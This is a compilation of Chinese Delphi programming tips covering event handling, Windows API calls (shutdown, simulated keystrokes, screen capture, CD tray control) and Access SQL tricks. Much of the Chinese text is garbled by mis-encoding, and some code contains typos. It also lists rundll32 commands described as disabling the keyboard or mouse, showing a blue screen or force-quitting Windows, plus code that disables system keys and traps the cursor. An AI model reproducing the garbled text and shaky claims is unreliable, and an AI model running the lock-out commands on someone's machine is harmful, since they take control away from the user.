每個(gè)過(guò)程段的開(kāi)頭都類似procedure TForm1FormClick(Sender:TObject)；其中的Sender是一個(gè)TObject類型的參數(shù)，它告訴Delphi哪個(gè)控件接收這個(gè)事件并調(diào)用相應(yīng)的處理過(guò)程。你可以編寫(xiě)一個(gè)單一的事件處理句柄，通過(guò)Sender參數(shù)和IF…THEN…語(yǔ)句或者CASE語(yǔ)句配合，來(lái)處理多個(gè)構(gòu)件。發(fā)生事件的構(gòu)件或控件的值已經(jīng)賦給了Sender參數(shù)，該參數(shù)的用途之一就在于：可以使用保留字IS來(lái)測(cè)試Sender，以便找到調(diào)用這個(gè)事件處理句柄的構(gòu)件或控件的類型。例如，將表單中編輯框和標(biāo)簽的Click事件的處理句柄都指向表單的xxx過(guò)程，編輯框和標(biāo)簽對(duì)Click事件有不同的反應(yīng)：
procedure TForm1xxx(Sender:TObject);
begin
if(sender if Tedit) then
showmessage(′this is a editbox′);
if(sender is Tlabel) then
showmessage(′this is a label′);
end;
Sender參數(shù)的第二個(gè)用途是結(jié)合AS操作符進(jìn)行類型轉(zhuǎn)換，將若干個(gè)派生于某一父類的子類強(qiáng)制轉(zhuǎn)換成該父類。例如表單中有一個(gè)TEdit類控件和一個(gè)TMemo控件，它們實(shí)際上都派生于TcustomEdit類，如果你要為二者的某一事件提供同樣處理，可以將二者事件句柄都指向自定義的過(guò)程yyy:
Procedure TForm1.yyy(Sender:TObject);
begin
(sender as TcustomEdit).text:=′This is some demo text′;
end;
在過(guò)程中，AS操作符將TEdit類和TMemo類均強(qiáng)制轉(zhuǎn)換成TcustomEdit類，再對(duì)TcustomEdit類的屬性賦值。注意這種轉(zhuǎn)換必須符合Delphi中類的層次關(guān)系。
使用Sender參數(shù)可以通過(guò)單一過(guò)程段處理多類控件，真正體現(xiàn)了Delphi面向?qū)ο蟮闹赜眯浴?/P>
*****************************
窗口漸漸出現(xiàn)
AnimateWindow(Handle,1000,AW_CENTER);
*****************************
delphi中嵌入?yún)R編的方法
function cyclecount:int64;
asm
db $0f
db $31
end;
**********************
讀BIOS名稱日期序列號(hào)
讀BIOS名稱日期序列號(hào)，這個(gè)程序最短！在D5中測(cè)試通過(guò)！
with Memo1.Lines do
begin
Add('MainBoardBiosName:'+^I+string(Pchar(Ptr($FE061))));
Add('MainBoardBiosCopyRight:'+^I+string(Pchar(Ptr($FE091))));
Add('MainBoardBiosDate:'+^I+string(Pchar(Ptr($FFFF5))));
Add('MainBoardBiosSerialNo:'+^I+string(Pchar(Ptr($FEC71))));
end;
///////////////////////////////////////////////////////////////////
讀主板信息：
主板名稱： String(PChar(Ptr($FE061)));
版權(quán)： String(PChar(Ptr($FE091)));
日期： String(PChar(Ptr($FFFF5)));
序列號(hào)： String(PChar(Ptr($FEC71)));
***********************
在20000下關(guān)機(jī)
在20000下關(guān)機(jī)不象在98下直接調(diào)用ExitWindows函數(shù)就成，你首先要用OpenProcessToken函數(shù)打開(kāi)與進(jìn)程相關(guān)的訪問(wèn)信令然后再使用ExitWindow函數(shù)退出Win2000.
以下這段程序可供參考：
var
hToken :THandle ;
tkp :TOKEN_PRIVILEGES ;
otkp :TOKEN_PRIVILEGES ;
dwLen :Dword ;
begin
if OpenProcessToken(GetCurrentProcess ,TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY ,hToken) then
begin
LookupPrivilegevalue(Nil ,'SeShutdownPrivilege' ,tkp.Privileges[0].Luid) ;
tkp.PrivilegeCount := 1 ;
tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken ,False ,tkp ,sizeof(tkp) ,otkp,dwLen) ;
if (GetLastError() = ERROR_SUCCESS) then
begin
ExitWindowsEx(EWX_POWEROFF ,0) ; //關(guān)機(jī)
end ;
end ;
end;
***************************
模擬鍵盤擊鍵
shift + 'a' 換成Delphi 就是:
keybd_event(VK_SHIFT,0,KEYEVENTF_EXTENDEDKEY + 0,0);
keybd_event(65,0,KEYEVENTF_EXTENDEDKEY + 0,0);
keybd_event(65,0,KEYEVENTF_EXTENDEDKEY + KEYEVENTF_KEYUP,0);
keybd_event(VK_SHIFT,0,KEYEVENTF_EXTENDEDKEY + KEYEVENTF_KEYUP,0);
*****************************
彈出、關(guān)閉光驅(qū)
uses中加MMSYSTEM
彈出光驅(qū)
mciSendString('Set cdaudio door open wait', nil, 0, handle);
關(guān)閉光驅(qū)
mciSendString('Set cdaudio door closed wait', nil, 0, handle);
*******************************
防止對(duì)話框ALT+F4關(guān)閉
TForm1 = class(TForm)
...
private
procedure WMSysCommand(var Msg: TWMSysCommand); message WM_SYSCOMMAND;
...
end;
procedure TForm1.WMSysCommand(var Msg: TWMSysCommand);
begin
if Msg.CmdType <> SC_CLOSE then
inherited
end;
*********************************
調(diào)用Windows內(nèi)核
對(duì)程序員而言，有一句至理名言就是：“寫(xiě)得好就是寫(xiě)得少！(Writing better is writing less)”
回答:
以下命令可以直接在Windows的運(yùn)行窗口直接執(zhí)行，在Delphi中你要這樣使用：
winexec(Pchar('ABCD'),sw_Show);
其中"ABCD"代表以下命令之一：
"rundll32 shell32,Control_RunDLL" - 運(yùn)行控制面板
"rundll32 shell32,OpenAs_RunDLL" - 打開(kāi)"打開(kāi)方式"窗口
"rundll32 shell32,ShellAboutA Info-Box" - 打開(kāi)"關(guān)于"窗口
"rundll32 shell32,Control_RunDLL desk.cpl" - 打開(kāi)"顯示屬性"窗口
"rundll32 user,cascadechildwindows" - 層疊全部窗口
"rundll32 user,tilechildwindows" - 最小化所有的子窗口
"rundll32 user,repaintscreen" - 刷新桌面
"rundll32 shell,shellexecute Explorer" - 重新運(yùn)行Windows Explorer
"rundll32 keyboard,disable" - 鎖寫(xiě)鍵盤
"rundll32 mouse,disable" - 讓鼠標(biāo)失效
"rundll32 user,swapmousebutton" - 交換鼠標(biāo)按鈕
"rundll32 user,setcursorpos" - 設(shè)置鼠標(biāo)位置為(0,0)
"rundll32 user,wnetconnectdialog" - 打開(kāi)"映射網(wǎng)絡(luò)驅(qū)動(dòng)器"窗口
"rundll32 user,wnetdisconnectdialog" - 打開(kāi)"斷開(kāi)網(wǎng)絡(luò)驅(qū)動(dòng)器"窗口
"rundll32 user,disableoemlayer" - 顯示BSOD窗口, (BSOD) = Blue Screen Of Death, 即藍(lán)屏
"rundll32 diskcopy,DiskCopyRunDll" - 打開(kāi)磁盤復(fù)制窗口
"rundll32 rnaui.dll,RnaWizard" - 運(yùn)行"Internet連接向?qū)?, 如果加上參數(shù)"/1"則為silent模式
"rundll32 shell32,SHFormatDrive" - 打開(kāi)"格式化磁盤(A)"窗口
"rundll32 shell32,SHExitWindowsEx -1" - 冷啟動(dòng)Windows Explorer
"rundll32 shell32,SHExitWindowsEx 1" - 關(guān)機(jī)
"rundll32 shell32,SHExitWindowsEx 0" - 退當(dāng)前用戶
"rundll32 shell32,SHExitWindowsEx 2" Windows9x 快速重啟
"rundll32 krnl386.exe,exitkernel" - 強(qiáng)行退出Windows 9x(無(wú)確認(rèn))
"rundll rnaui.dll,RnaDial "MyConnect" - 運(yùn)行"網(wǎng)絡(luò)連接"對(duì)話框
"rundll32 msprint2.dll,RUNDLL_PrintTestPage" - 選擇打印機(jī)和打印測(cè)試頁(yè)
"rundll32 user,setcaretblinktime" - 設(shè)置光標(biāo)閃爍速度
"rundll32 user, setdoubleclicktime" - 測(cè)試鼠標(biāo)雙擊速度
"rundll32 sysdm.cpl,InstallDevice_Rundll" - 搜索非PnP設(shè)備
***********************************
messagebeep(0);//聲卡發(fā)出be聲
windows.beep(2000,2000);//pc喇叭發(fā)出be聲，很嚇人//前一個(gè)是頻率，后一個(gè)是延時(shí)，98下會(huì)忽略
*******************************************************
得到可用內(nèi)存和系統(tǒng)資源
procedure Tversion.FormCreate(Sender: TObject);
var
MS: TMemoryStatus;
begin
GlobalMemoryStatus(MS);
label5.Caption := '可用內(nèi)存：'+FormatFloat('#,###" KB"', MS.dwTotalPhys / 1024);
label6.Caption := '系統(tǒng)資源 '+Format('%d %%', [MS.dwMemoryLoad])+' 可用';
end;
*****************************************************
檢查程序是否無(wú)響映
function IsBusy(ProcessId: Integer): Integer;
var
Ph: THandle;
begin
Ph := OpenProcess(PROCESS_ALL_ACCESS, false, ProcessId);
if Ph <> 0 then
begin
if WaitForInputIdle(Ph, 10) = WAIT_TIMEOUT then
Result := 1
else
Result := 0;
CloseHandle(Ph);
end
else Result := -1;
end;
******************************
瑣住鼠標(biāo) + 瑣住鍵盤
-*******-*-*****************
var a:TRect;
temp:integer;
begin
{屏蔽系統(tǒng)鍵}
SystemParametersInfo( SPI_SCREENSAVERRUNNING, 1, @temp, 0);
a:=rect(0,0,5,5);
{鎖定鼠標(biāo)在一定區(qū)域內(nèi)，最好鎖在你的窗口里}
ClipCursor(@a);
end;
{解除鎖定}
begin
SystemParametersInfo( SPI_SCREENSAVERRUNNING, 0, @temp, 0);
ClipCursor(nil);
end;
******************************
copy屏幕
-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
procedure TForm1.Button1Click(Sender: TObject);
var
dc:hdc;
mycanvas:TCanVas;
mybitmap:TBitmap;
begin
application.Minimize;
mycanvas:=TCanvas.Create;
mybitmap:=tbitmap.Create;
dc:=getdc(0);
try
myCanvas.Handle := DC;
with Screen do
begin
MyBitmap.Width := Width;
MyBitmap.Height := Height;
MyBitmap.Canvas.CopyRect(Rect(0,0,Width,Height),myCanvas,Rect(0,0,Width,Height));
image1.Picture.Bitmap.Assign(mybitmap);
end;
finally
releasedc(0,dc);
mycanvas.Free;
mybitmap.Free;
end;
application.Restore;
end;
***************************
ACCESS技巧集
作者:ysai
轉(zhuǎn)載請(qǐng)保持文章完整并標(biāo)明出處
1.DELPHI中操作ACCESS數(shù)據(jù)庫(kù)(建立.mdb文件,壓縮數(shù)據(jù)庫(kù))
以下代碼在WIN2K,D6,MDAC2.6下測(cè)試通過(guò),
編譯好的程序在WIN98第二版無(wú)ACCESS環(huán)境下運(yùn)行成功.
//聲明連接字符串
Const
SConnectionString = 'Provider=Microsoft.Jet.OLEDB.4.0;Data Source=%s;'
+'Jet OLEDB:Database Password=%s;';
//=============================================================================
// Procedure: GetTempPathFileName
// Author : ysai
// Date : 2003-01-27
// Arguments: (None)
// Result : string
//=============================================================================
function GetTempPathFileName():string;
//取得臨時(shí)文件名
var
SPath,SFile:array [0..254] of char;
begin
GetTempPath(254,SPath);
GetTempFileName(SPath,'~SM',0,SFile);
result:=SFile;
DeleteFile(result);
end;
//=============================================================================
// Procedure: CreateAccessFile
// Author : ysai
// Date : 2003-01-27
// Arguments: FileName:String;PassWord:string=''
// Result : boolean
//=============================================================================
function CreateAccessFile(FileName:String;PassWord:string=''):boolean;
//建立Access文件，如果文件存在則失敗
var
STempFileName:string;
vCatalog:OleVariant;
begin
STempFileName:=GetTempPathFileName;
try
vCatalog:=CreateOleObject('ADOX.Catalog');
vCatalog.Create(format(SConnectionString,[STempFileName,PassWord]));
result:=CopyFile(PChar(STempFileName),PChar(FileName),True);
DeleteFile(STempFileName);
except
result:=false;
end;
end;
//=============================================================================
// Procedure: CompactDatabase
// Author : ysai
// Date : 2003-01-27
// Arguments: AFileName,APassWord:string
// Result : boolean
//=============================================================================
function CompactDatabase(AFileName,APassWord:string):boolean;
//壓縮與修復(fù)數(shù)據(jù)庫(kù),覆蓋源文件
var
STempFileName:string;
vJE:OleVariant;
begin
STempFileName:=GetTempPathFileName;
try
vJE:=CreateOleObject('JRO.JetEngine');
vJE.CompactDatabase(format(SConnectionString,[AFileName,APassWord]),
format(SConnectionString,[STempFileName,APassWord]));
result:=CopyFile(PChar(STempFileName),PChar(AFileName),false);
DeleteFile(STempFileName);
except
result:=false;
end;
end;
2.ACCESS中使用SQL語(yǔ)句應(yīng)注意的地方及幾點(diǎn)技巧
以下SQL語(yǔ)句在ACCESS XP的查詢中測(cè)試通過(guò)
建表:
Create Table Tab1 (
ID Counter,
Name string,
Age integer,
[Date] DateTime);
技巧:
自增字段用 Counter 聲明.
字段名為關(guān)鍵字的字段用方括號(hào)[]括起來(lái),數(shù)字作為字段名也可行.
建立索引:
下面的語(yǔ)句在Tab1的Date列上建立可重復(fù)索引
Create Index iDate ON Tab1 ([Date]);
完成后ACCESS中字段Date索引屬性顯示為 - 有(有重復(fù)).
下面的語(yǔ)句在Tab1的Name列上建立不可重復(fù)索引
Create Unique Index iName ON Tab1 (Name);
完成后ACCESS中字段Name索引屬性顯示為 - 有(無(wú)重復(fù)).
ACCESS與SQLSERVER中的UPDATE語(yǔ)句對(duì)比:
SQLSERVER中更新多表的UPDATE語(yǔ)句:
UPDATE Tab1
SET a.Name = b.Name
FROM Tab1 a,Tab2 b
WHERE a.ID = b.ID;
同樣功能的SQL語(yǔ)句在ACCESS中應(yīng)該是
UPDATE Tab1 a,Tab2 b
SET a.Name = b.Name
WHERE a.ID = b.ID;
即:ACCESS中的UPDATE語(yǔ)句沒(méi)有FROM子句,所有引用的表都列在UPDATE關(guān)鍵字后.
上例中如果Tab2可以不是一個(gè)表,而是一個(gè)查詢,例:
UPDATE Tab1 a,(Select ID,Name From Tab2) b
SET a.Name = b.Name
WHERE a.ID = b.ID;
訪問(wèn)多個(gè)不同的ACCESS數(shù)據(jù)庫(kù)-在SQL中使用In子句:
Select a.*,b.* From Tab1 a,Tab2 b In 'db2.mdb' Where a.ID=b.ID;
上面的SQL語(yǔ)句查詢出當(dāng)前數(shù)據(jù)庫(kù)中Tab1和db2.mdb(當(dāng)前文件夾中)中Tab2以ID為關(guān)聯(lián)的所有記錄.
缺點(diǎn)-外部數(shù)據(jù)庫(kù)不能帶密碼.
在ACCESS中訪問(wèn)其它ODBC數(shù)據(jù)源
下例在ACCESS中查詢SQLSERVER中的數(shù)據(jù)
SELECT * FROM Tab1 IN [ODBC]
[ODBC;Driver=SQL Server;UID=sa;PWD=;Server=127.0.0.1;DataBase=Demo;]
外部數(shù)據(jù)源連接屬性的完整參數(shù)是:
[ODBC;DRIVER=driver;SERVER=server;DATABASE=database;UID=user;PWD=password;]
其中的DRIVER=driver可以在注冊(cè)表中的
HKEY_LOCAL_MACHINE\SOFTWARE\ODBC\ODBCINST.INI\
中找到
ACCESS支持子查詢
ACCESS支持外連接,但不包括完整外部聯(lián)接,如支持
LEFT JOIN 或 RIGHT JOIN
但不支持
FULL OUTER JOIN 或 FULL JOIN
ACCESS中的日期查詢
注意:ACCESS中的日期時(shí)間分隔符是#而不是引號(hào)
Select * From Tab1 Where [Date]>#2002-1-1#;
在DELPHI中我這樣用
SQL.Add(Format(
'Select * From Tab1 Where [Date]>#%s#;',
[DateToStr(Date)]));
|
